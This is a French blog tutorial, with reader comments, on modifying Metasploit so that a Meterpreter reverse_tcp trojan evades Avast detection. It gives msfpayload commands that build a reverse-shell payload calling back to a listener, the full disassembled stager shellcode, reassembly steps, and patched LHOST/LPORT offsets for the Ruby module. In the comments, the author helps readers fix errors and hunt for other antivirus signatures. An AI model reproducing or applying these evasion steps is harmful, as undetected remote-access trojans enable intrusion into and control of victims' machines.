Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 1/3)

Dans l’article précédent, nous avons été confronté à Avast qui a détecté notre tentative de persistance de Meterpreter. Nous tenterons, dans une petite série d’articles, de rendre Meterpreter totalement invisible pour Avast.

Dans un premier temps, nous modifierons Metasploit pour qu’il soit capable de générer un fichier binaire brut qui ne soit pas détecté par un antivirus. Nous aurons ainsi supprimé une première signature correspondant à la partie active du cheval de Troie.

Repérer le fichier à modifier

Cette étape est sans doute la plus compliquée pour ceux qui, comme moi, ne connaissent pas par coeur le fonctionnement de Metasploit et l’emplacement de ses fichiers sources.

Commençons par générer un meterpreter détecté par les antivirus :

sudo msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 R > raw.binary

Puis à l’aide de l’application « hexedit », on récupère une chaîne d’octets caractéristiques du cheval de Troie.

Cherchons par exemple « \x8B\x04\x8B » dans le dossier d’installation de metasploit :

cd /opt/metasploit/msf3
find . -type f -print | xargs grep "\\\\x8B\\\\x04\\\\x8B"

On obtient toute une liste de scripts Ruby (extension « rb ») et un fichier C.

A priori, metasploit est codé en Ruby, on peut donc oublier le fichier C qui provient du code source de meterpreter.

Il ne nous reste alors plus beaucoup de choix. Selon la commande que l’on a utilisée, on recherche un fichier intitulé « reverse_tcp ». Il s’agit donc de « /opt/metasploit/msf3/modules/payloads/stagers/windows/reverse_tcp.rb ».

Désassembler le cheval de Troie

Apprenons à utiliser un autre outil que Metasploit pour assembler et désassembler : « Nasm » et « Ndisasm ».

Désassemblons notre « raw.binary » à l’aide de Ndisasm :

ndisasm -b 32 raw.binary > raw.asm

Le fichier obtenu ne contient pas que de l’assembleur mais aussi les index des commandes ainsi que le code hexadécimal de chaque commande. Il faut éditer à la main les index de saut (toute commande qui commence par « j ») et d’appel (commande « call »)

Exemple :

00000000  FC                cld
00000001  E889000000        call dword 0x8f
00000006  60                pushad

...

00000012  8B5214            mov edx,[edx+0x14]
00000015  8B7228            mov esi,[edx+0x28]
00000018  0FB74A26          movzx ecx,word [edx+0x26]

...

0000008D  EB86              jmp short 0x15
0000008F  5D                pop ebp
00000090  6833320000        push dword 0x3233

donnera :

00000000  FC                cld
00000001  E889000000        call sub_8fh
00000006  60                pushad

...

00000012  8B5214            mov edx,[edx+0x14]
loc_15h:
00000015  8B7228            mov esi,[edx+0x28]
00000018  0FB74A26          movzx ecx,word [edx+0x26]

...

0000008D  EB86              jmp loc_15h
sub_8fh:
0000008F  5D                pop ebp
00000090  6833320000        push dword 0x3233

Enfin, on supprime les deux premières colonnes et on ajoute une entête pour que Nasm puisse réassembler. Voici le rendu final :

BITS 32
section .text
    global _start
_start:
    cld
    call sub_8fh
    pushad
    mov ebp,esp
    xor edx,edx
    mov edx,[fs:edx+0x30]
    mov edx,[edx+0xc]
    mov edx,[edx+0x14]
loc_15h:
    mov esi,[edx+0x28]
    movzx ecx,word [edx+0x26]
    xor edi,edi
loc_1eh:
    xor eax,eax
    lodsb
    cmp al,0x61
    jl loc_27h
    sub al,0x20
loc_27h:
    ror edi,0xd
    add edi,eax
    loop loc_1eh
    push edx
    push edi
    mov edx,[edx+0x10]
    mov eax,[edx+0x3c]
    add eax,edx
    mov eax,[eax+0x78]
    test eax,eax
    jz loc_89h
    add eax,edx
    push eax
    mov ecx,[eax+0x18]
    mov ebx,[eax+0x20]
    add ebx,edx
loc_4ah:
    jecxz loc_88h
    dec ecx
    mov esi,[ebx+ecx*4]
    add esi,edx
    xor edi,edi
loc_54h:
    xor eax,eax
    lodsb
    ror edi,0xd
    add edi,eax
    cmp al,ah
    jnz loc_54h
    add edi,[ebp-0x8]
    cmp edi,[ebp+0x24]
    jnz loc_4ah
    pop eax
    mov ebx,[eax+0x24]
    add ebx,edx
    mov cx,[ebx+ecx*2]
    mov ebx,[eax+0x1c]
    add ebx,edx
    mov eax,[ebx+ecx*4]
    add eax,edx
    mov [esp+0x24],eax
    pop ebx
    pop ebx
    popad
    pop ecx
    pop edx
    push ecx
    jmp eax
loc_88h:
    pop eax
loc_89h:
    pop edi
    pop edx
    mov edx,[edx]
    jmp loc_15h
sub_8fh:
    pop ebp
    push dword 0x3233
    push dword 0x5f327377
    push esp
    push dword 0x726774c
    call ebp
    mov eax,0x190
    sub esp,eax
    push esp
    push eax
    push dword 0x6b8029
    call ebp
    push eax
    push eax
    push eax
    push eax
    inc eax
    push eax
    inc eax
    push eax
    push dword 0xe0df0fea
    call ebp
    xchg eax,edi
    push byte +0x5
    push dword 0x6538a8c0
    push dword 0xbb010002
    mov esi,esp
loc_d0h:
    push byte +0x10
    push esi
    push edi
    push dword 0x6174a599
    call ebp
    test eax,eax
    jz loc_ebh
    dec dword [esi+0x8]
    jnz loc_d0h
    push dword 0x56a2b5f0
    call ebp
loc_ebh:
    push byte +0x0
    push byte +0x4
    push esi
    push edi
    push dword 0x5fc8d902
    call ebp
    mov esi,[esi]
    push byte +0x40
    push dword 0x1000
    push esi
    push byte +0x0
    push dword 0xe553a458
    call ebp
    xchg eax,ebx
    push ebx
loc_10dh:
    push byte +0x0
    push esi
    push ebx
    push edi
    push dword 0x5fc8d902
    call ebp
    add ebx,eax
    sub esi,eax
    test esi,esi
    jnz loc_10dh
    ret

Modifier et réassembler

On peut maintenant modifier l’assembleur comme on l’a fait dans un autre article.

Il ne nous reste plus qu’à résassembler :

nasm raw.asm -o mymeterpreter.binary

Récupérer le code hexadécimal et modifier metasploit

Récupérer le code hexadécimal, bien le présenter et ajouter « \x » devant chaque octet peut être fastidieux… Or, un nul(l) se doit d’être paresseux ! C’est pour ça que j’ai concocté une « petite » ligne de commande qui affiche proprement le code hexadécimal d’un fichier :

hexdump -v -e '16/1 " %02X"' -e '"\n"' mymeterpreter.binary | sed 's/ *$//g' | sed 's/ /\\x/g' | sed 's/^/                                                \"/g' | sed 's/$/\" +/g'

Il reste alors à remplacer la partie hexadécimale dans le fichier « /opt/metasploit/msf3/modules/payloads/stagers/windows/reverse_tcp.rb » par le résultat de la commande précédente. Pensez à supprimer le dernier « + » !

Ne pas oublier de modifier la configuration

Metasploit doit renseigner l’adresse IP, le port et le délai entre chaque tentative de connexion. Comme on peut s’en douter, cette modification est faite directement au niveau hexadécimal. La position de chaque propriété doit donc être modifiée.

On remarque alors une propriété « Offsets » juste au dessus de l’hexadécimal dans le script Ruby :

  • LHOST à la position 197, C5 en hexadécimal.
  • LPORT à la position 204, soit CC
  • ReverseConnectRetries à la position 195, soit C3

Dans le cadre de la modification que j’ai proposée plus haut, il suffira d’ajouter la différence de taille entre mon fichier binaire de base (raw.binary) et le nouveau (mymeterpreter.binary), soit 320-290 = 30.

Nous aurons alors les nouvelles positions suivantes :

  • LHOST à la position 227, E3 en hexadécimal.
  • LPORT à la position 234, soit EA
  • ReverseConnectRetries à la position 225, soit E1

Un petit test

Générons un nouveau cheval de Troie avec la méthode utilisée dans un précédent article et passons le à la moulinette Avast :

sudo msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 R > monMeterpreter.binary
ruby /opt/metasploit/apps/pro/msf3/lib/metasm/samples/disassemble.rb monMeterpreter.binary > monMeterpreter.asm

On ajoute les lignes suivantes en haut du fichier asm :

.section '.text' rwx
.entrypoint

On assemble :

ruby /opt/metasploit/apps/pro/msf3/lib/metasm/samples/peencode.rb raw.asm -o raw.exe

Avast ne le détecte plus !

Testons la création directe d’exécutable

Msfpayload permet de créer directement un exécutable, nous aimerions donc utiliser cette méthode plutôt que les étapes fastidieuses décrites ci-dessus :

sudo msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 X > monMeterpreter.exe

Malheureusement, l’exécutable généré est détecté par notre cher Avast… Dans le prochain article, nous verrons donc comment débloquer cette méthode.

Conclusion

Nous venons de modifier Metasploit afin de faciliter la création d’une version reverse_tcp de Meterpreter indétectable par Avast. Nous n’aurons donc plus besoin à l’avenir de désassembler meterpreter à chaque fois que l’on change d’adresse IP ou de port de connexion.

Par contre, il est toujours impossible de générer directement un exécutable indétectable à partir de msfpayload. De plus la persistance de meterpreter est encore détectée. Nous nous attellerons à débloquer ces fonctionnalités dans de prochains articles.

Attention, pensez à faire un backup de vos fichiers et restaurer les scripts que vous aurez modifiés avant de mettre à jour Metasploit avec msfupdate !

Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 2/3)

Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 3/3)

À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , ,
Publié dans Algorithmie, Cracking, Développement, Informatique, Intrusion, Metasploit, Piratage
17 comments on “Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 1/3)
  1. xerxesx dit :

    Bonjours,
    Tres bon tuto , merci pour le partage des connaissances .
    juste un souci avec metasm je n’arrive pas utiliser les script disassemble.rb , peencode.rb tjrs la meme erreure :
    #ruby peencode.rb raw.asm -o raw.exe
    peencode.rb:8:in `require’: no such file to load — metasm (LoadError)
    from peencode.rb:8:in `’
    Pouvez vous me donner un coup de main , j’ais update metasploits
    Faut il donner le chemin complet de metasm dans peencode.rb
    require ‘Chemin du fichier /metasm’ ?
    Merci

  2. xerxesx dit :

    Salut Mystcaster

    Merci j’ais du modifier les scripts disassemble.rb , peencode.rb
    $LOAD_PATH << '/opt/metasploit/apps/pro/msf3/lib/'

    Fonctionne niquel 3 detections sur : http://vscan.novirusthanks.org/analysis/dcd8a8637d2b65f25f8f609c12a3fb3a/dGVzZmlsZS1leGU=/

    Sinon encore un grand merci pour ces explications . Je comprend un peux mieux le fonctionnement de metasploit.

    En esperant de nouveaux tutos bientot 🙂
    j'ais essayer de reutiliser la fonction split pour trouver la signature avira " TR/Crypt.EPACK.Gen2" mais impossible de la retrouver .
    Cordialement

    • mystcaster dit :

      Bonjour,

      Comme j’ai dû le dire, un virus ou un cheval de Troie ne peut pas être considéré comme indétectable.
      Tout ce qu’on peut dire c’est que tel ou tel antivirus ne le détecte pas pour le moment.

      Afin de trouver la signature détectée par Avira, il faut tout d’abord installer Avira sur ton ordinateur.
      Ensuite tu y vas à tâtons en découpant ton cheval de Troie en morceaux plus ou moins gros (en variant la valeur du paramètre « -b » de split) jusqu’à ce qu’Avira détecte quelque chose.
      Plus le morceau qu’Avira détecte est petit, plus la définition de la signature est précise.

      Il se peut néanmoins qu’Avira détecte le cheval de Troie par des méthodes Heuristiques (comme le fait Comodo sur le lien que tu as envoyé), il faudra alors modifier l’algorithmie même du cheval de Troie pour que ce dernier ne soit plus détecté, mais c’est une autre paire de manches !

  3. Rémi dit :

    Bonjour,
    merci pour ce tutoriel manifique.
    un seul petit problème c’est que quand je fait « msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 R > monMeterpreter.binary »
    ça charge pendant un petit moment puis il m’affiche:
    /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:383:in `[]=’: can’t convert String into Integer (TypeError)
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:383:in `block in substitute_vars’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:303:in `each_pair’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:303:in `substitute_vars’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:589:in `internal_generate’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:280:in `generate’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload/windows.rb:31:in `generate’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload.rb:168:in `size’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload_set.rb:158:in `block (2 levels) in recalculate’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload_set.rb:102:in `each_pair’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload_set.rb:102:in `block in recalculate’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload_set.rb:98:in `each_pair’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/payload_set.rb:98:in `recalculate’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/modules/loader/base.rb:283:in `block in load_modules’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/modules/loader/base.rb:280:in `each’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/modules/loader/base.rb:280:in `load_modules’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/module_manager/loading.rb:118:in `block in load_modules’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/module_manager/loading.rb:116:in `each’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/module_manager/loading.rb:116:in `load_modules’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/module_manager/module_paths.rb:56:in `block in add_module_path’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/module_manager/module_paths.rb:55:in `each’
    from /opt/metasploit/apps/pro/msf3/lib/msf/core/module_manager/module_paths.rb:55:in `add_module_path’
    from /opt/metasploit/apps/pro/msf3/lib/msf/base/simple/framework/module_paths.rb:14:in `init_module_paths’
    from /opt/metasploit/apps/pro/msf3/lib/msf/base/simple/framework.rb:113:in `simplify’
    from /opt/metasploit/apps/pro/msf3/lib/msf/base/simple/framework.rb:74:in `create’
    from /opt/metasploit/apps/pro/msf3/msfpayload:85:in `’
    Je suis sous Kali linux. merci et bonne journée

    • mystcaster dit :

      Bonjour,

      Une petite mise à jour de metasploit corrigera peut-être le problème.
      Sinon, vérifie les paramètres que tu as saisi, une faute de frappe est vite arrivée (espace en trop ou mauvais caractère)

  4. hugo dit :

    Bonjour,

    Excellent blog très instructif 🙂
    Cependant, j’ai un petit sushi lorsque je test le travail effectué dans reverse_tcp.rb en générant le cheval de troie en brut. En effet, monMeterpreter.binary est exactement le même que l’initial raw.binary et pèse exactement le même poids alors que j’ai bien changé le code hexadécimal dans /opt/metasploit/apps/pro/msf3/modules/payloads/stagers/windows/reverse_tcp.rb ainsi que la configuration. Du coup après désassemblement-assemblement en .exe, mon .exe est détecté par Avast (normal vu que metasploit n’a pas l’air de prendre en compte les modifications que j’ai apporté à son code reverse_tcp.rb). Y aurait-il une subtilité que je n’ai pas saisi?

    En vous remerciant

    • mystcaster dit :

      Il faut t’assurer que tu génère bien le payload « reverse_tcp » avec la commande sudo msfpayload windows/meterpreter/reverse_tcp par exemple.
      Si c’est bien le cas, vérifie que le msfpayload utilisé est bien celui des sources que tu modifies. Tu peux utiliser which msfpayload pour ça.

  5. rémi dit :

    je n’arrive pas a créer un ficher exe quand je le lance il plante. Comment faire ?

  6. Rémi dit :

    Je ne comprend pas ce que tu veux dire par « Vérifie si l’assembleur que tu as modifié est valide »

  7. remi dit :

    J’ai rééssayer mais il m’affiche toujours

    usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require’: cannot load such file — metasm (LoadError)
    from /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require’
    from /opt/metasploit/apps/pro/msf3/lib/metasm/samples/peencode.rb:8:in `’

  8. Rémi dit :

    Et après je reviens dans le dossier où se trouve le payload ?

  9. Rémi dit :

    merci en faite je l’avais fais mais ça n’avait pas marché. maintenant aucun problème. par contre quand on refud le payload la configuration pour l’ip le port et tout on repart du départ ou de la config avant la modif ?

    • mystcaster dit :

      Une fois le nouvel exécutable généré, l’article indique comment modifier le code source /opt/metasploit/msf3/modules/payloads/stagers/windows/reverse_tcp.rb pour l’utiliser à chaque génération avec msfpayload.
      .. Sauf que ça ne fonctionne pas, d’où les articles 2 et 3 🙂

Répondre à Rémi Annuler la réponse.

MystCaster
septembre 2012
L M M J V S D
 12
3456789
10111213141516
17181920212223
24252627282930
Catégories
Archives